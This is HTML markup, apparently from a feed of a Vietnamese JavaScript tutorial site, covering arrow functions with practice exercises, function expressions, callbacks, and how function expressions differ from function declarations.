arrow function là gì?</p> <p>Arrow function là hàm sử dụng kí tự <code>=></code> để khai báo hàm, giúp việc khai báo hàm trở nên ngắn gọn hơn.</p> <p>Cú pháp cơ bản là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">,</span> argN</span><span class="token punctuation">)</span> <span class="token operator">=></span> expression<span class="token punctuation">;</span></code></pre></div> <p>Arrow function trên nhận vào danh sách tham số <code>(arg1, arg2,..., argN)</code>, thành phần <code>expression</code> được xử lý và trả về giá trị của <code>expression</code>.</p> <p>Trường hợp có dấu <code>{}</code>, bạn cần sử dụng thêm từ khóa <code>return</code> để trả về giá trị của hàm.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">,</span> argN</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> expression<span class="token punctuation">;</span> <span class="token keyword">return</span> something<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Arrow function có thể được sử dụng giống như function expression.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Viết arrow function trả về giá trị nhỏ nhất của hai số (giả sử giá trị truyền nào luôn là số).</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">min</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span>a <span class="token operator">&lt;</span> b <span class="token operator">?</span> a <span class="token operator">:</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Trường hợp hai số truyền vào bằng nhau thì dĩ nhiên kết quả là giá trị của hai số đó.</p> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết arrow function kiểm tra xem một số có phải là số nguyên tố hay không. Nếu là số nguyên tố thì trả về <code>true</code>. Ngược lại, trả về <code>false</code>.</p> <p>Sau đó, in ra các số nguyên tố từ 1 đến 10.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Hàm kiểm tra số nguyên tố</span> <span class="token keyword">const</span> <span class="token function-variable function">isPrime</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">number</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">&lt;</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">===</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span>i <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> i <span class="token operator">*</span> i <span class="token operator">&lt;=</span> number<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> i <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Duyệt từ 1 đến 10 để in ra số nguyên tố</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isPrime</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// 2</span> <span class="token comment">// 3</span> <span class="token comment">// 5</span> <span class="token comment">// 7</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Hàm <code>isNaN(number)</code> dùng để kiểm tra giá trị của biến <code>number</code> xem có phải là <code>NaN</code> hay không. Nói cách khác, nếu <code>isNaN(number)</code> trả về <code>false</code> thì giá trị của <code>number</code> là số.</li> <li><a href="/vong-lap-trong-javascript/">Vòng lặp for</a> dùng để duyệt các số từ 1 đến 10.</li> </ul>[email protected]<![CDATA[Function expression trong JavaScript]]><![CDATA[Trong bài viết trước, mình đã tìm hiểu về hàm trong JavaScript. Cách khai báo hàm đó gọi là "function declaration". Bài viết này mình sẽ tìm hiểu về một khái niệm khác gọi là…]]>https://completejavascript.com/function-expression-trong-javascript/https://completejavascript.com/function-expression-trong-javascript/<![CDATA[Hàm]]>Tue, 09 May 2017 09:00:00 GMT<p>Trong bài viết trước, mình đã tìm hiểu về <a href="/ham-la-gi-ham-trong-javascript/">hàm trong JavaScript</a>. Cách khai báo hàm đó gọi là "function declaration". Bài viết này mình sẽ tìm hiểu về một khái niệm khác gọi là "function expression" hay dịch ra là "biểu thức hàm".</p> <h2 id="function-expression-là-gì" style="position:relative;"><a href="#function-expression-l%C3%A0-g%C3%AC" aria-label="function expression là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Function expression là gì?</h2> <p>Function expression hiểu đơn giản là hàm được định nghĩa trong một biểu thức, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Có thể hiểu là mình khởi tạo một hàm, rồi gán hàm đó cho biến <code>sayHello</code> giống như bất kỳ loại giá trị nào khác (number, string, boolean,...). Bạn có thể in ra giá trị biến <code>sayHello</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sayHello<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// ƒ () {</span> <span class="token comment">// console.log("Hello from completejavascript.com");</span> <span class="token comment">// }</span></code></pre></div> <p>Kết quả hiển thị ra là một string biểu diễn hàm.</p> <p><strong>Chú ý</strong>: trong câu lệnh <code>console.log</code> trên mình viết là <code>sayHello</code> mà không có cặp dấu ngoặc đơn <code>()</code>. Vì nếu có cặp dấu <code>()</code> thì đó nghĩa là <strong>gọi hàm</strong>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Hello from completejavascript.com</span> <span class="token comment">// undefined</span></code></pre></div> <p>Kết quả là function expression với <code>sayHello</code> được gọi, nên dòng chữ <strong>Hello from completejavascript.com</strong> được in ra.</p> <p>Sau đó là dòng <code>undefined</code> - vì biểu thức hàm <code>sayHello</code> không có <code>return</code> giá trị nào cả.</p> <h2 id="đặc-điểm-của-function-expression" style="position:relative;"><a href="#%C4%91%E1%BA%B7c-%C4%91i%E1%BB%83m-c%E1%BB%A7a-function-expression" aria-label="đặc điểm của function expression permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặc điểm của function expression</h2> <p>Vì biểu thức hàm cũng là một giá trị, nên bạn hoàn toàn có thể gán nó cho một biến khác, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> sayHi <span class="token operator">=</span> sayHello<span class="token punctuation">;</span></span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from completejavascript.com</span></code></pre></div> <p>Khi đó, bạn gọi <code>sayHi()</code> cũng giống như gọi <code>sayHello()</code>.</p> <blockquote> <p>📝 Không chỉ <strong>function expression</strong> mà <strong>function declaration</strong> cũng là một giá trị.</p> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> sayHi <span class="token operator">=</span> sayHello<span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello from completejavascript.com</span></code></pre></div> <h2 id="hàm-callback" style="position:relative;"><a href="#h%C3%A0m-callback" aria-label="hàm callback permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm callback</h2> <p>Vì bản chất hàm là một giá trị, nên bạn có thể truyền hàm vào một hàm khác.</p> <p>Ví dụ mình cần viết một hàm <code>ask(question, handleYes, handleNo)</code> với ba tham số:</p> <ul> <li><code>question</code>: là một string, biểu thị câu hỏi.</li> <li><code>handleYes</code>: là hàm được gọi nếu câu trả lời là <code>yes</code>.</li> <li><code>handleNo</code>: là hàm được gọi nếu câu trả lời là <code>no</code>.</li> </ul> <p>Code triển khai hàm <code>ask</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">ask</span><span class="token punctuation">(</span><span class="token parameter">question<span class="token punctuation">,</span> handleYes<span class="token punctuation">,</span> handleNo</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> answer <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span>question<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>answer<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">handleYes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">handleNo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">handleYes</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"You chose Yes!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">handleNo</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"You chose No!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">ask</span><span class="token punctuation">(</span><span class="token string">"Bạn muốn tiếp tục thực hiện chương trình không?"</span><span class="token punctuation">,</span> handleYes<span class="token punctuation">,</span> handleNo<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ trên, <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/">hàm confirm</a> bật ra một hộp thoại hỏi người dùng "Bạn muốn tiếp tục thực hiện chương trình không?".</p> <p>Nếu người dùng chọn <strong>OK</strong> thì giá trị của <code>answer</code> là <code>true</code>. Khi đó, hàm <code>handleYes</code> được gọi. Ngược lại, khi <code>answer</code> là <code>false</code> thì hàm <code>handleNo</code> được gọi.</p> <p>Ở đây, hai tham số <code>handleYes</code> và <code>handleNo</code> gọi là <strong>hàm callback</strong> hay gọi tắt là <strong>callback</strong>.</p> <blockquote> <p>💡 Ý tưởng của <strong>hàm callback</strong> là hàm này được truyền vào hàm khác, để gọi lúc cần thiết.</p> <p>Liên hệ thực tế như khi bạn gọi điện đến nhà một người bạn. Nhưng người bạn cần tìm không có nhà, mà bạn không thể giữ điện thoại đợi cho đến khi người đó về.</p> <p>Vì vậy, bạn để lại lời nhắn, kèm số điện thoại để khi nào người đó về sẽ gọi lại cho bạn.</p> <p><em>Có thể bạn quan tâm: <a href="/xu-ly-bat-dong-bo-callback-promise-async-await/#s%E1%BB%AD-d%E1%BB%A5ng-callback-%C4%91%E1%BB%83-x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99">Xử lý bất đồng bộ với callback, promise, async/await</a></em></p> </blockquote> <p>Trong ví dụ trên, mình viết định nghĩa hai hàm <code>handleYes</code> và <code>handleNo</code> sử dụng "function declaration". Nhưng bạn có thể thay thế bằng biểu thức hàm như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">ask</span><span class="token punctuation">(</span><span class="token parameter">question<span class="token punctuation">,</span> handleYes<span class="token punctuation">,</span> handleNo</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> answer <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span>question<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>answer<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleYes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">handleNo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">ask</span><span class="token punctuation">(</span> <span class="token string">"Bạn muốn tiếp tục thực hiện chương trình không?"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"You chose Yes!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"You chose No!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Vì thực tế là hai hàm <code>handleYes</code> và <code>handleNo</code> chỉ sử dụng bên trong hàm <code>ask</code>, nên mình có thể dùng function expression như trên mà không cần khai báo tên hàm.</p> <blockquote> <p>📝 Những hàm như trên còn có tên gọi khác là "anonymous function" hay "hàm ẩn danh".</p> </blockquote> <h2 id="so-sánh-function-expression-với-function-declaration" style="position:relative;"><a href="#so-s%C3%A1nh-function-expression-v%E1%BB%9Bi-function-declaration" aria-label="so sánh function expression với function declaration permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh function expression với function declaration</h2> <p>Đọc đến đấy chắc bạn cũng đã khá hiểu về biểu thức hàm rồi phải không?</p> <p>Sau đây, mình cùng xem những điểm khác nhau giữa biểu thức hàm (function expression) và định nghĩa hàm (function declaration).</p> <p><strong>► Cú pháp khai báo:</strong></p> <p><strong>Function declaration</strong>: là hàm được định nghĩa độc lập, không nằm trong biểu thức hay câu lệnh nào cả.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Function expression</strong>: là hàm được định nghĩa với một biểu thức, sử dụng <a href="/toan-tu-la-gi-toan-tu-trong-javascript/">toán tử gán</a> <code>=</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p><strong>► Thời gian khởi tạo:</strong></p> <p><strong>Function declaration</strong>: hàm được xử lý sớm hơn vị trí mà hàm được định nghĩa. Nghĩa là bạn có thể gọi hàm trước khi định nghĩa hàm.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello!</span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Function expression</strong>: hàm được tạo ra tại thời điểm chương trình thực thi xử lý tới đó. Nghĩa là bạn không thể gọi biểu thức hàm trước khi định nghĩa nó.</p> <p>Ví dụ sau bị lỗi cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: sayHello is not defined</span> <span class="token keyword">let</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p><strong>► Phạm vi của function declaration và function expression:</strong></p> <p>Khi sử dụng <a href="/use-strict-trong-js/">strict mode</a>, function declaration có phạm vi trong <strong>block</strong>. Bạn có thể gọi hàm ở bất kỳ đâu trong block đó, nhưng không sử dụng được ở bên ngoài.</p> <p>Ví dụ sau bị lỗi cú pháp:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token string">"use strict"</span><span class="token punctuation">;</span></span> <span class="token keyword">let</span> isVietnamese <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span><span class="token string">"Bạn có phải người Việt Nam không?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>isVietnamese<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">function</span> <span class="token function">welcome</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Chào bạn!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">function</span> <span class="token function">welcome</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">welcome</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: welcome is not defined</span></span></code></pre></div> <p>Bởi vì hàm <code>welcome</code> được định nghĩa bên trong block của <code>if</code> nên chỉ dùng được bên trong block đó.</p> <p>Để sử dụng hàm <code>welcome</code> bên ngoài block, bạn có thể dùng function expression như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code 